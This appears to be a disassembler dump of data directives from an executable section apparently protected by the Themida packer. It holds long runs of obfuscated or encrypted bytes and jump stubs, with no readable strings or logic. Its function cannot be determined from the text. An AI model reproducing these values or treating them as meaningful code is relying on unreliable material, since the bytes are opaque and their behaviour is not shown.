dd 24343124h, 5C243433h, 81E78957h, 4C7h, 4EF8100h, 87000000h
dd 895C243Ch, 1168242Ch, 8900002Ch, 8868243Ch, 8900000Ch
dd 56B9240Ch, 8905E7F1h, 5C6859CDh, 8900007Ch, 4812424h
dd 424h, 0EC815F00h, 4, 8F242C89h, 34FF0847h, 0C4815F24h
dd 4, 56242C8Bh, 0C681E689h, 4, 8704C683h, 0E95C2434h
dd 0FFFA7CABh, 0C73CB44Dh, 2E7A3DF3h, 0E802E7B8h, 0FFC50305h
dd 0C53A8CE0h, 647C2169h, 343EC253h, 5F91AE40h, 0EC8A090Bh
dd 7E4FFB5Eh, 5998D253h, 0A2452A5Dh, 4FBBCC6Ah, 0D5F8E556h
dd 0B336FE37h, 83D8AB6Fh, 43144E53h, 74CEAD77h, 0F2D3F311h
dd 6E31031Dh, 0DE0E6C32h, 0CCAB563Eh, 0DEA6DD0Bh, 0E00DBD46h
db 6Ah
byte_54E081 db 2 dup(8Dh), 0B1h ; DATA XREF: Themida_:004EEB5Co
dd 8905E804h, 0E20EA585h, 0E98D8905h, 6A05E20Bh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 0A60AC352h, 0C7B2C51Ch, 0E2076185h, 598005h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 5858B58h, 0C705E231h, 0E21B5585h, 5, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 0ACA07C26h, 962B5C64h, 0EE9B9h, 0A7580000h, 0C4542A8Ah
dd 610727E2h, 775DC38Ch, 28A0Fh, 0FE8B0000h, 3045B5FFh
dd 8B6605E2h, 1595FFDEh, 6A05E20Bh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0D379C352h
dd 79858922h, 8B05E213h, 0E21041B5h, 0FF006A05h, 0E20AB995h
dd 0EBC08B05h, 7F151F0Ch, 4A80CF7Eh, 0A0D95206h, 268D8D23h
dd 6005E805h, 6887E881h, 8D89733Ah, 5E21369h, 0E98D8961h
dd 0C705E20Bh, 0E2076185h, 6B1405h, 0F98B6600h, 1B5585C7h
dd 5E2h, 830F0000h, 8, 2850Fh, 0FD8A0000h, 1D05B5FFh, 95FF05E2h
dd 5E20B15h, 871958Bh, 820F05E2h, 6, 118D9D89h, 6A05E2h
dd 0AB995FFh, 0C08B05E2h, 2B3E6CEBh, 421E3578h, 49B0A9C7h
dd 50D327FEh, 0D97E01DCh, 8C27D1C4h, 0A11E3249h, 663CC5EEh
dd 0E55A3607h, 9500E97Ch, 747E228Bh, 14A014FFh, 0F6EC19A3h
dd 0A48CC1Fh, 0B2C51CA6h, 0B87043F0h, 4518081Bh, 23E42FF4h
dd 0B957863Bh, 326C5F6Eh, 0C2375D03h, 7139A374h, 0B0739AA4h
dd 2E049393h, 0D1C6E24h, 50160E6Bh, 45DA41B9h, 79EB2CBEh
dd 0EF9E7D00h, 0FE2218Ch, 9FABAFD6h, 7C4DB297h, 95B7E3h
dd 0E9A9E572h, 9BB69CB5h, 0B6F37760h, 9EB794A9h, 7D60D760h
dd 9EA9BD89h, 729EBD8Ch, 4A95ACE3h, 9BB98B20h, 9D89937Eh
dd 0AFF496B9h, 94A19E96h, 91A7D6B5h, 48D100FDh, 33594ACCh
dd 5200713Ch, 0F357DB4Dh, 9BB7D65Eh, 0AFF600B7h, 9F8995ABh
dd 7156F000h, 0BEB3D7C7h, 56711800h, 0E2ADC4D7h, 9A33E773h
dd 0F6CE93Dh, 0F7680000h, 0E905E807h, 0FFFA79F3h, 0E808EE68h
dd 79E9E905h, 0EA68FFFAh, 0E905E809h, 0FFFA79DFh, 0E80B2268h
dd 79D5E905h, 0C068FFFAh, 0E905E80Bh, 0FFFA79CBh, 0E80C4C68h
dd 79C1E905h, 0E968FFFAh, 0E905E80Ch, 0FFFA79B7h, 0E80D9268h
dd 79ADE905h, 9968FFFAh, 0E905E80Eh, 0FFFA79A3h, 0E80FA668h
dd 7999E905h, 0FB68FFFAh, 0E905E810h, 0FFFA798Fh, 0E8131868h
dd 7985E905h, 68FFFAh, 0E905E814h, 0FFFA797Bh, 198501F7h
dd 0E2E8AC28h, 4B575B9Fh, 1DB9FFF6h, 0E5E1AF2Ch, 0E516A74Eh
dd 8B4E33DFh, 32A89905h, 0D801606Eh, 0F90834D2h, 0F0BF1F50h
dd 8F4F36F9h, 0D823696Eh, 0BC5A6099h, 8FB296BBh, 0FAD84C2Ah
dd 9DE84701h, 0FAA7BFB4h, 4C4A8DF9h, 7442B639h, 6FEC3F85h
dd 400AEB32h, 7AFC0C74h, 2DCA078Ah, 2F613FE6h, 45000000h
dd 0D0577B18h, 0FAD1C777h, 0DA211E01h, 0FAA1C07Dh, 1352D3F9h
dd 0DA45A0E6h, 0FAA1FC7Dh, 0E15E15F9h, 63A69ED8h, 3FE62BAEh
dd 1021Dh, 0EFAE2100h, 1045A0EEh, 0BC04EF07h, 862737A4h
dd 0D981EDBh, 948B19C2h, 446521D5h, 7B41B639h, 485685C4h
dd 6C6DD47Fh, 327A02Eh, 0E1FC1807h, 57703CBEh, 0B6A9EFE8h
dd 7A19237h, 30ABFC18h, 0B4D21B62h, 127EA23h, 0C73CCC4Fh
dd 1E8120E6h, 189CB8B9h, 0AF1269FCh, 0DC196C2Ah, 1593440Bh
dd 0FA1439F6h, 189C1C5Dh, 17E35FCh, 169C5F1Eh, 88CB4AB5h
dd 7DDA4D53h, 0FC189CFCh, 248D5E15h, 1FACFEAh, 1C9A5F1Eh
dd 7CDD4C89h, 0F9FAEFFBh, 1E8C5D2Ah, 9304A521h, 4C7B21D4h
dd 0C5BE0F27h, 54F57458h, 41F60D5h, 5B6990D3h, 382F0482h
dd 0EE3D8179h, 92D55C6Dh, 0CABF5B69h, 4E668311h, 1DFE7DD6h
dd 0CD82908h, 5F990000h, 0ACABF5Bh, 0B921008Eh, 5D98E9F5h
dd 0DCEB35Fh, 5EC1B87h, 517D43B8h, 3FDBE910h, 860C904Ah
dd 6A7036A3h, 0BDBE1B6Ah, 54F9F0BEh, 6D6EED29h, 11C6BB27h
dd 18410F8Bh, 51D0577Bh, 1AA3E9EEh, 0FAD181B1h, 641B5001h
dd 0C9CF38F3h, 0FA9DEF60h, 0C04926F9h, 1AA3F140h, 0B9191673h
dd 0CC0AF9FAh, 19DD4AF8h, 42F35458h, 93F9FA20h, 0E1D3B3A4h
dd 0EA274364h, 433FE653h, 0C0D283D6h, 0A8310B4Eh, 0AE6Bh
dd 696E5F00h, 6499D823h, 0C462CF5Eh, 0E4FC18BDh, 9829B5F3h
dd 0BDBFB019h, 1956FC18h, 525881C0h, 7D51FECBh, 0EE356DCAh
dd 0E75C01FAh, 0B553F0FBh, 0FA8C2314h, 0EAB029F9h, 473C5A93h
dd 0D594170Ah, 1F066521h, 0FA8CB9BAh, 0A61368F9h, 5C9EBC05h
dd 3A71041Fh, 9974407h, 4CC48116h, 6654CDF7h, 0FBE04145h
dd 0C65E48B5h, 7411FE7Dh, 0BE12Dh, 52568000h, 8501F5B4h
dd 0ECB02819h, 565483E6h, 0BE04F948h, 0A3FC9B10h, 1B6E743Ah
dd 7534D2E0h, 0AA9F3B87h, 63636F2Dh, 0B1B4A502h, 206DF9F0h
dd 276D6EFAh, 367C6120h, 47B0F195h, 6E9F4541h, 99D82369h
dd 12F68660h, 643AD7B1h, 1ADEA32Fh, 0BCC7796h, 0BE1B9A8Dh
dd 0FC1800BDh, 0D8CE1F54h, 0D08126A9h, 1FC1800h, 0BBFFF72Ah
dd 332B5E22h, 44073A2Eh, 4DB41593h, 0FA7AAEECh, 568AE101h
dd 586494D7h, 0D63F88CDh, 0F6402958h, 2A5D711Eh, 0B6246C6Bh
dd 0E52CBDEAh, 963BE244h, 934706FCh, 0B3CAD805h, 3DBECD3Ah
dd 1E017EACh, 8A119D5Fh, 0B32D2E8Bh, 8FE4FF57h, 15E28952h
dd 84252408h, 2B1390Eh, 0D402DBAh, 0C6344B3Bh, 2C46F061h
dd 1D4A21F5h, 682B5ECCh, 9FDC2F6Dh, 2C468DCEh, 505E9FF5h
dd 0AD9A8035h, 498EF170h, 0F5E24743h, 96564AB7h, 7015010Fh
dd 0AE511h, 56528400h, 0B9FDF948h, 0E0AC2C1Dh, 4A5087FAh
dd 0B200FD4Ch, 0A7F89F14h, 1F626836h, 79C8D6DCh, 0AE933F83h
dd 7F676329h, 0B0B0A106h, 3C61F9F0h, 23696EFEh, 3D797D3Ch
dd 2B2881ACh, 23A70007h, 0DA01FAEAh, 0E976616Dh, 1DE542C5h
dd 740418FDh, 0E2A5EC3Fh, 3B54B7F5h, 0DAD3554Ch, 5770ADF2h
dd 0DC97710Eh, 10E462F7h, 0C8414499h, 48EB45h, 25640000h
dd 14D2EBB7h, 0A7EBEFAEh, 0C202D06h, 129E5A1Dh, 0E3D64079h
dd 21BAD111h, 55E659FEh, 300F01FBh, 0DC8C4E31h, 0DEB41BABh
dd 0B6E0690Fh, 0BA944548h, 5F881643h, 0F9FA8E20h, 27A3E9EEh
dd 0F1149842h, 0A2DAEh, 7B18D400h, 0E1199F5Dh, 342B60DDh
dd 0BFA093h, 3067D02h, 0F5119740h, 0E354F574h, 32F9F0BFh
dd 0F465C245h, 2DF9F0BFh, 0DCA7556h, 0BF73E445h, 0D5A2F9F0h
dd 0AFB40D98h, 9C46B1h, 0E1456745h, 0F17A81FEh, 0A6248584h
dd 5907E8FEh, 0BDFC7FE2h, 0AD2E7D39h, 0C8FCDB9Ch, 0AC3D0AF7h
dd 0F7B52265h, 5B6196EBh, 0D91E41C0h, 2C310AD3h, 2AA00938h
dd 0ED0A2A96h, 33616996h, 5F2AF892h, 9ADF4h, 0E8A4C00h
dd 7135A180h, 0D8E41455h, 2884F32h, 6A38A584h, 6F30D76Ch
dd 0C7BA206Eh, 21008E14h, 96EBF7BBh, 0B7BF5B61h, 0B268E94Eh
dd 0F4B9F9F0h, 0B9FB8836h, 92BFFC18h, 0AF088BBEh, 0FC18B9AEh
dd 297C38BCh, 18C3A6ACh, 58C5D8Ah, 0BE2EA4h, 7AB6C102h
dd 4D959568h, 73323562h, 679A0086h, 5E23B9F2h, 0DDEE6325h
dd 0C4276592h, 0DF4266EBh, 35505C9Ch, 796CED4Ah, 0CEA5F9F0h
dd 0E3A92E91h, 0D4F257DAh, 0F04122Ah, 5EFFBD3Ah, 0FA203D33h
dd 368A585h, 0FE79F641h, 0F543F4Ah, 0AE000009h, 3666C28h
dd 76CBD7D3h, 0D1903E82h
dd 77A6026h, 0B5C2C8D6h, 860CF1CEh, 0ECB22918h, 555983E6h
dd 0B9FFF849h, 77D0511Dh, 0F9F0B2C6h, 6ED4161Fh, 99D82369h
dd 0A9C35A60h, 0DC0473Fh, 0A03A040Fh, 0B1D79821h, 310EFC18h
dd 44A6BA8h, 185F0000h, 109E5D7Bh, 0B425A4DBh, 43EE45A5h
dd 72DBEC3Fh, 2005BA8h, 0DA9D8CFBh, 0E739F1Dh, 0DFB8C3C9h
dd 0F9F053A2h, 0D25579E6h, 12005175h, 76B38804h, 0FE797770h
dd 834F1673h, 22000008h, 97EAF0B4h, 0CABF5B5Fh, 2504820Eh
dd 9BEEF4B2h, 39B65C62h, 0A98455Ah, 703EBD8Ch, 0D9E5176Ah
dd 0D8B4C3Dh, 3A4DD81h, 0F9F0B552h, 6E588283h, 0ECB22969h
dd 0ECED54B7h, 382EBBAEh, 61B0C355h, 51FB825Bh, 35E81F17h
dd 9A3A04CFh, 3BCh, 0B9FB88ACh, 4609FC18h, 0C5BE0F95h
dd 54F57458h, 200BFBCh, 4E5489C8h, 2F52297Dh, 0A12D6B6Ch
dd 10964100h, 0F86740F5h, 786B9FFh, 0F0BFB1A2h, 0B20B60F9h
dd 1D315EABh, 0EC19CD6Ah, 7B300412h, 7A5B223Eh, 2D7411FEh
dd 7E6h, 49555187h, 12B8FCF8h, 0FBE7AB2Fh, 4D494F86h, 15B1FFFCh
dd 35A6F79Eh, 0DB1E636Fh, 8278C9D5h, 28D1903Eh, 9786462h
dd 0F0B5AFA0h, 0FF3F66F9h, 0D823696Eh, 542FC059h, 0BB5AD800h
dd 0FCBA3F22h, 0EFB526A9h, 1BA7559Ch, 463E2880h, 64E7A6F2h
dd 186192C3h, 0D3F443FCh, 0B9149B6Bh, 163A04E7h, 30Ch
dd 0B9FB8828h, 92BFFC18h, 52E8BBEh, 8C0200BFh, 8E31B0B7h
dd 0F0BF2829h, 3982F9F9h, 0DFFBC136h, 0B4256D6Ah, 9562B9F6h
dd 0DB817888h, 0D350ECA2h, 0E046E366h, 1B04124Ch, 0C123C72Ch
dd 91F4FE79h, 73DCEh, 0BEFAFC00h, 0E1A55110h, 485484E5h
dd 0B2F8FF42h, 1AA85514h, 1FA047FCh, 77CAD0DEh, 0D1903E84h
dd 67B672Bh, 7CFCBD1h, 0B41859FEh, 44C9F9F0h, 23696E86h
dd 822CBD3Ch, 0B636F965h, 0C2A394B5h, 572FC18h, 179699A4h
dd 0C2023394h, 64D3FC18h, 18C292C3h, 0F7FE43FCh, 0B4E16AB1h
dd 0EDAB2C13h, 0F2C2649Eh, 0D2555384h, 0C5206693h, 0D5533790h
dd 3A048EF8h, 1157h, 2FAE6B00h, 18B9C98Ah, 9A2318FCh, 23F37h
dd 0C5884F00h, 0B5FC18B9h, 248584A8h, 200BF00h, 43518AFFh
dd 9FD07938h, 0B6F9F0BFh, 0D0578CF9h, 86276B91h, 0B019981Bh
dd 0F9F0BEBFh, 81C01956h, 0BA2F5258h, 696B4638h, 2DF9C2E9h
dd 6A1D9B5Ch, 5246C9FDh, 19DE0843h, 96C30893h, 84E7A353h
dd 12EF7657h, 0A726590Dh, 50ABF1E4h, 0D79C21Bh, 7F041237h
dd 713DBDFCh, 0D798A12Ah, 0EF7D3B7h, 572A831h, 798604F8h
dd 0A382E7FEh, 636h, 198501F7h, 0E2E8AC28h, 4B575B9Fh
dd 1DB9FFF6h, 0E5E1AF2Ch, 0E516A74Eh, 8B4E33DFh, 32A89905h
dd 0D801606Eh, 0F90834D2h, 0F0B71F50h, 8F4F36F9h, 0B129696Eh
dd 0E05D9EEDh, 1F9D5A85h, 0F4768Ch, 8F4D45B2h, 673F803h
dd 36278003h, 0EFFC18B9h, 0D5533790h, 3A0413F8h, 13E71255h
dd 18B585B6h, 0AAE75CFCh, 0B52112B7h, 0BBF0FC18h, 1FFD22h
dd 3B7A0000h, 2DAEFDC1h, 39AEAE9Ch, 0E1753C32h, 5A1BBC8Dh
dd 8BFC181Dh, 1B6647BCh, 130h, 0EAEFAE23h, 82B21BACh, 46FC18B9h
dd 6BBDE8D1h, 4A93F9B8h, 7F2EC71h, 0B4046B3h, 0ECE8ABDEh
dd 0E6125DA8h, 0DD0A43DAh, 0B125EABCh, 0AF387CB3h, 0AACC760h
dd 0EA410200h, 0C5C33477h, 873FA8D9h, 34258216h, 0EDF9F072h
dd 5D138596h, 7F78E7C0h, 815E239h, 26842524h, 42041278h
dd 83B4FAD5h, 75C65753h, 0D2832402h, 3F7D298h, 0B8EEFF34h
dd 72B8A6C3h, 0EEBBFE7Ah, 52987h, 8A0EC800h, 0FDB93D0Ch
dd 246890D1h, 8E0CCBBEh, 0F6BC2100h, 0EBB453E8h, 4326ACF2h
dd 0BD8C0A98h, 1257733Fh, 3B3BA7E5h, 0B6EC6DCAh, 7825F9F0h
dd 23696EB2h, 5A6099D8h, 8D5780C3h, 0D43F4984h, 0DB229F78h
dd 0CD585C98h, 35091E54h, 0A300C833h, 175CBBBh, 7663CFA7h
dd 31ECAA30h, 9E3A042Eh, 0Ch, 4A8EA0h, 4C0F0000h, 0CDB9028Eh
dd 0D823696Eh, 87866099h, 4A0AA43Dh, 0BA2540BDh, 2112B73Bh
dd 0F0FC1860h, 0B43F4EBBh, 0D8264543h, 2C52A69Eh, 0ADEC9A6Ah
dd 1958612Dh, 6A24D0E0h, 91DA216Fh, 5F94C124h, 262EB3h
dd 0ACEF0000h, 6E5C6D2Bh, 3C23696Eh, 0EE3D797Dh, 0B95102A7h
dd 0AB80FC18h, 79C66D7Eh, 0FC18B9C5h, 68D6AE98h, 0A7AD296Fh
dd 0D823696Eh, 964462EFh, 0DAADD0Ah, 200BF4Eh, 9E1CDD9Ch
dd 0FF62D94Dh, 2B723EBCh, 0AE01F17Eh, 6DDAE8F9h, 6592D55Ch
dd 11C6BB27h, 4E31708Bh, 76E7068Ah, 0D3F79C55h, 46DF0BACh
dd 337607E8h, 978AC7C3h, 796523D4h, 56C9CF08h, 4DD8E617h
dd 0ED94BF08h, 0E8612FAAh, 61C40243h, 0FCB516FFh, 4DCC7357h
dd 0FAC3D10Ah, 2A372591h, 0BD5BFC0Ah, 0D323A23Fh, 5ED25F94h
dd 0DDF89236h, 3D4E948h, 63950000h, 0EC6BB27h, 0BD3D0C8Ah
dd 6194D5F1h, 11CABF5Bh, 9E80783h, 5D7947B4h, 3BA7EDECh
dd 82089446h, 567C3ABFh, 81B2176Eh, 50F9F0A9h, 696EE92Dh
dd 0BCE9AD29h, 8FAF1C8Dh, 57397CA8h, 28D19076h, 1FD81B62h
dd 0DDB95245h, 7EABA3B0h, 2030599Ah, 8FC0699Ch, 46FC18ECh
dd 2447BCE9h, 0EA582C8Eh, 0B87673EDh, 2A1A6D9Dh, 76ABD1FDh
dd 0D53A042Ch, 2Eh, 577B18E9h, 53877D0h, 0E65D01FBh, 0F6BA2063h
dd 0F5C07FE8h, 9CEF9FAh, 0B8220783h, 6FEE91F4h, 0FAF589CAh
dd 0DAE358F9h, 33177h, 7B188F00h, 1377D057h, 4A01FAD1h
dd 25C85221h, 0CE3B498Ch, 0C5C334BFh, 0FCBA3FA6h, 0E8B426A9h
dd 19A7529Dh, 93D54982h, 0A8295DA3h, 5FAEF4E9h, 682EAB1Eh
dd 470FD81Dh, 0C4E8756Fh, 7BA6E445h, 62D90418h, 30EE7364h
dd 0DC7BA697h, 0CB007FF7h, 1397F354h, 71CE0A3Eh, 291359CEh
dd 0D6044154h, 815A6893h, 3C827BFAh, 6F4701E9h, 45C4E875h
dd 5C0EA6E4h, 6462D910h, 0B7D6D405h, 0C1CDCB0Ch, 22250916h
dd 0D68720A3h, 0FEB904Eh, 684E9730h, 0A316722Fh, 5BE8B1D4h
dd 48E173AFh, 4F5586C9h, 8900F47Eh, 576F2554h, 2AFBh, 54F57400h
dd 0E173A7E3h, 86644532h, 0D0577B18h, 0FAD1C777h, 0DA211E01h
dd 0FAA1C07Dh, 0A195D3F9h, 0E62BB36Eh, 0F5183Fh, 6E220000h
dd 99D82369h, 44CF5E64h, 0B1D4D205h, 3BBCA304h, 24672E7Dh
dd 5B90EBB1h, 9C1ADF82h, 7CFA7CEDh, 79B2F6A1h, 0C8416C8Ah
dd 3A831DF0h, 6E4FFB6Ch, 7C7DFC18h, 6EE253F4h, 8F28FC18h
dd 0FC186ECEh, 5F222807h, 68A51298h, 0DCDA1F62h, 0FFD37049h
dd 0C808DF48h, 0FDCECE57h, 0E57619F1h, 5374FBBFh, 0EF9B8B2Ch
dd 7DCA01FAh, 0D5F96651h, 3A99F552h, 0A82B041Fh, 0DFB04E0Fh
dd 1FA887F7h, 0CA8DBC8Bh, 0B9C8311h, 0AF0FE21h, 65F66786h
dd 34A7CEF6h, 0F2A8316Eh, 3B404E8Fh, 0FE7D3F5Fh, 0B7D2BDC8h
dd 76000001h, 0AB9E0480h, 1E636F2Bh, 79C8D6DAh, 0AF92387Eh
dd 0CD7A602Eh, 5E649926h, 840AF1B0h, 0EDB12B1Eh, 515780E1h
dd 0DF7889B5h, 0F9F0AA9Eh, 6E0CCEB7h, 0B4CED6Dh, 0DAFC18B9h
dd 4E31306Dh, 0B8FB0286h, 18B95E1Fh, 43B8F7FCh, 1CDDAC7Ah
dd 184A709Eh, 169A5D7Bh, 306DDADEh, 0D1A6A831h, 27901FAh
dd 129E5C1Fh, 0D279428Bh, 0FAA1F875h, 996DEBF9h, 0E62BBB16h
dd 0AD103Fh, 0AE2A0000h, 12651139h, 5C6DBC9Eh, 47A6E415h
dd 21DBDF1Ch, 0C05B5F97h, 9AE15E8Bh, 18C889BDh, 783EBBFCh
dd 0ACEAEF52h, 6697D659h, 5582CD58h, 0E8C11A57h, 67C0476Bh
dd 1FAAEA7h
dd 726561DEh, 0E146F9EDh, 41FFE4Eh, 0D659C8A7h, 0FE41F257h
dd 0DB90F7DFh, 109E5F02h, 0E0AC2E11h, 93775085h, 1A672DAEh
dd 0FE7D4C7Ah, 0CFBD84E1h, 6E000000h, 0C3A62C68h, 360B9713h
dd 91D0FEC2h, 0C7BA2066h, 0F5028816h, 464CB10Eh, 0ACF2E958h
dd 15994326h, 793FB889h, 0B710915Dh, 0F9F0AD86h, 6E14D65Fh
dd 6120276Dh, 60D53076h, 0F9FE4347h, 6E2917B3h, 99D82369h
dd 0DBC5A60h, 0A91CB29Ch, 289FAEC0h, 5992E9AFh, 86AAB780h
dd 2D970083h, 0FF2D1A72h, 0C974DDEEh, 402009Bh, 10B9382Fh
dd 0F9F0935Fh, 9346B9F6h, 6C7DFE0Dh, 53599EC1h, 8705F2B7h
dd 0F54D1B64h, 0BEF83162h, 3F9B8C6h, 0B6232EBFh, 6EBDFBFAh
dd 9CDD7AEDh, 0B5C242E9h, 240581FEh, 2F96F5B3h, 589BE2A8h
dd 0A7E5129Ch, 43DA1744h, 0B7D6DA00h, 0A018EC6Eh, 1A685C06h
dd 9826D5DDh, 15C2A723h, 32D7497h, 51000000h, 686E9DA7h
dd 6196D92Ch, 5B81C05Bh, 4E8D3457h, 41BA2540h, 34A92873h
dd 21D41F6Eh, 19C1009Bh, 7CF7695h, 50F27883h, 405E089h
dd 2D000000h, 4, 5C240487h, 68242C89h, 7BBFh, 68242C89h
dd 4E77h, 0BD243489h, 47922115h, 36B3E581h, 0C5817A08h
dd 0FFFFFFFFh, 78ED8145h, 833C1819h, 248904ECh, 24048124h
dd 4, 8B8505Eh, 1000000h, 0BB53F0h, 1000000h, 5B2B89C3h
dd 24348B58h, 81E38953h, 4C3h, 4C38100h, 87000000h, 0FF5C241Ch
dd 815D2434h, 4C4h, 6A9DE900h, 0BAC5FFFAh, 5E53D47Dh, 0EDBD1A0Fh
dd 0F4B83C38h, 305E814h, 0CBE0FFC5h, 3518861Dh, 0F6EF38Fh
dd 8B55D0B7h, 0BC2C178Dh, 3F7EBE46h, 266E8AD2h, 92778B0h
dd 0E36CBBE2h, 55677D57h, 0C452D257h, 4D3EB1DCh, 9C73A448h
dd 0C53F1D9Ch, 322AD348h, 0C23D3F5Ah, 6171A74Dh, 8153705Eh
dd 5B213C3Dh, 0E807CF47h, 8E784882h, 0EB435D7Fh, 673FD9C8h
dd 1F1D327Dh, 77516611h, 0FD30AA41h, 10AD3C3h, 8D084A11h
dd 0E82D9911h, 0Dh, 97C9E88Ch, 0E455832Bh, 0CF938C11h
dd 0FE8B574Fh, 0B8665A5Fh, 0C2816647h, 6EF1h, 1B9468F5h
dd 8C0F0000h, 17h, 11880Fh, 0CE90000h, 0E7000000h, 0BB54DF48h
dd 8211E256h, 59089557h, 0D880Fh, 0B9600000h, 34E6B835h
dd 22CEE081h, 0FF617665h, 0DE932h, 0BCCB0000h, 7A9CECFFh
dd 0C7C3EE77h, 5B31C300h, 2A75B866h, 0CFDCF381h, 830F14F9h
dd 1, 0D7EB81F9h, 815A189Ah, 0FB93CDF3h, 0CF81662Fh, 1A89F5EFh
dd 0E7CEEE81h, 0EA830238h, 0C38B6604h, 0F01E983h, 0FFFFB285h
dd 3FBE66FFh, 17DE9D6h, 5D600000h, 16C4FFEh, 0D1D76FC2h
dd 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h
dd 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh
dd 0EE73AFC9h, 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh
dd 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh
dd 6CA1915Ch, 0ACE5h, 1, 42h dup(0)
dd 0F8000000h, 0A43736D1h, 0ADD3C20Dh, 0E9276215h, 1055h
dd 0E81A1168h, 3596E905h, 1368FFFBh, 0E905E81Bh, 0FFFB358Ch
dd 0E81CB968h, 3582E905h, 0A168FFFBh, 0E905E81Dh, 0FFFB3578h
dd 0E81EE168h, 356EE905h, 0B968FFFBh, 0E905E81Fh, 0FFFB3564h
dd 0E8206E68h, 355AE905h, 0E768FFFBh, 0E905E820h, 0FFFB3550h
dd 0E821E768h, 3546E905h, 7A68FFFBh, 0E905E822h, 0FFFB353Ch
dd 0E8233168h, 3532E905h, 0FF68FFFBh, 0E905E823h, 0FFFB3528h
dd 0E824C268h, 351EE905h, 1468FFFBh, 0E905E826h, 0FFFB3514h
dd 0E8270568h, 350AE905h, 57D2FFFBh, 219D6504h, 0E445BDDCh
dd 0AC08F699h, 6DCE3057h, 0EA250F12h, 0FF82DD5Eh, 3B5EA303h
dd 721568C7h, 0B0D72C8Ch, 48334EDAh, 0EDA0059Bh, 18473C0Fh
dd 0F8EBEBC6h, 97593799h, 954D515h, 0EAC30C24h, 0C72BA9BFh
dd 0CFF32A06h, 0E771106Dh, 0D7569619h, 5B68A784h, 0C87EF7Dh
dd 0BAD3C964h, 86AEABCFh, 0B7D906Bh, 0D62B8BA0h, 0C5A68A5Bh
dd 1DDAA9E0h, 14A00B7Eh, 0E5CD4497h, 54F13885h, 67FA671Dh
dd 0A00B7D94h, 59D5BA99h, 3D80FFC1h, 0EF661A53h, 83E8DB9Fh
dd 2F40h, 2F479700h, 0EDB3E992h, 836D4EA5h, 9A1B7DE1h
dd 16FBC847h, 0CC15E77Ah, 3B18ABCFh, 9BD2A1FCh, 0BCF5A00Bh
dd 0FD414D08h, 0D8E283E8h, 0F5000000h, 0C7328F11h, 0EA2578FBh
dd 73D02C92h, 459DBA5h, 0AF0DF38Dh, 0B0E0F12Eh, 9C61E284h
dd 156ACAB4h, 1F31D47Bh, 865FA770h, 51749BAAh, 64A5ECC9h
dd 2698BF04h, 663E79C6h, 0EAC61998h, 0D17F1458h, 0CEF114BCh
dd 45E4C7ABh, 0CE2D932Bh, 0C270473h, 0A00A8E6Bh, 6705D3B0h
dd 51EC84FFh, 0A5EF419Ch, 790EA75h, 0CBA7ECD1h, 0F9367773h
dd 2E7C4B3h, 0D4278876h, 97EA4DB5h, 5036D904h, 85FA3F7Ch
dd 0DE8h, 375AA500h, 0F126FCBh, 48EF32B3h, 82A5FA76h, 0C160BB3Ch
dd 2B8C3877h, 0F171B1D0h, 0B6358DACh, 7AFAC46Bh, 10280225h
dd 599FAFDh, 6A5D3FA0h, 25338E11h, 434935BAh, 0ED244D2Eh
dd 50F1D2A5h, 917F23BEh, 51AE0EF0h, 0B239A6CEh, 0B8B8F152h
dd 4DCAAD8Bh, 0ABC65229h, 0ABCFCBD1h, 0B58D21Ch, 337E5D2Dh
dd 0B9B975Ch, 0C3209AA0h, 0B50A6A54h, 45FB727Ah, 0E5CBA7D3h
dd 0E8FD3489h, 4B692877h, 0B9972398h, 3579FC80h, 0DE83E87Fh
dd 0ABh, 328F11E1h, 5978FBC7h, 29CB2ADCh, 409D199Ah, 7C139E63h
dd 0A5ED9849h, 90B70C6Ch, 0E771CE2Eh, 0F00D9B19h, 0A5ED8F07h
dd 8E6A4F2Ch, 94EF7717h, 0BFEF61FCh, 1E2ABCFh, 0E398DC7Eh
dd 73F33D55h, 312F422Eh, 0CCA5F00Dh, 20140193h, 866BFA4Ah
dd 650D52EAh, 861DBCFFh, 15965830h, 0D85BA7CAh, 48C71C98h
dd 0E207967Bh, 27C5084h, 0CE6BAF7h, 0A7020000h, 71CD3554h
dd 34B50D2Ch, 0FC7846E9h, 0BD3E80A7h, 3A75DF62h, 4FD22D8Eh
dd 8BAEF373h, 0C265B837h, 277CFCh, 0F8831E2Ah, 3DA00598h
dd 8E116C5Fh, 52D22C33h, 479D6A0Dh, 6DA4F979h, 0B3FDFE13h
dd 4122A5EDh, 4AAA947Ch, 0B35823BEh, 0FEDDA5EDh, 7055AA04h
dd 4A2D40D8h, 0EFA5EDB3h, 0C5ED240Ch, 0DB7B1E63h, 3D50F893h
dd 0ABCFB3EFh, 334EC9AAh, 0A00BB244h, 0E7126FCFh, 911FD0BAh
dd 0A29CAFC1h, 0B5BFFA45h, 9A1008BCh, 63C0208Eh, 0AD28DC95h
dd 83E8DA61h, 7B02h, 294DD500h, 21AEC652h, 0C78017C1h
dd 0EC8FA6D2h, 31A5ED8Bh, 0B390ED4Fh, 98304DE5h, 3BABCFB1h
dd 0E2AF3058h, 6690A1E4h, 0D1ACE5B3h, 0A00AE022h, 0C34E9311h
dd 0F33E83FFh, 0C256EA5Fh, 0EC671D54h, 83E83DA0h, 3341h
dd 2F479600h, 0EDB3E992h, 836D4EA5h, 6A067DE1h, 0CFCE1DD7h
dd 0E413F0ABh, 0B9AEA89h, 20A49DA0h, 0E8FC5955h, 10FA83h
dd 4D920000h, 0A565841Eh, 0FFB89001h, 8C460h, 2F475700h
dd 0EDB3E992h, 836D4EA5h, 6A067DE1h, 0D5CC3CD7h, 0CE2F11ABh
dd 0ED30B373h, 94BC81A2h, 0D275CA2Ah, 0AAF574BAh, 2380E0CEh
dd 0D6529CF4h, 0EA31CBF5h, 391E1A23h, 2C6FF0FEh, 15E3C0E5h
dd 0FC94EF77h, 0DC1E9A64h, 513F1C5Fh, 0ED69E23Ch, 9EBA99A5h
dd 0A853EE06h, 8D9A1D3Ch, 7CFCC2AEh, 6E80027h, 0B77957ACh
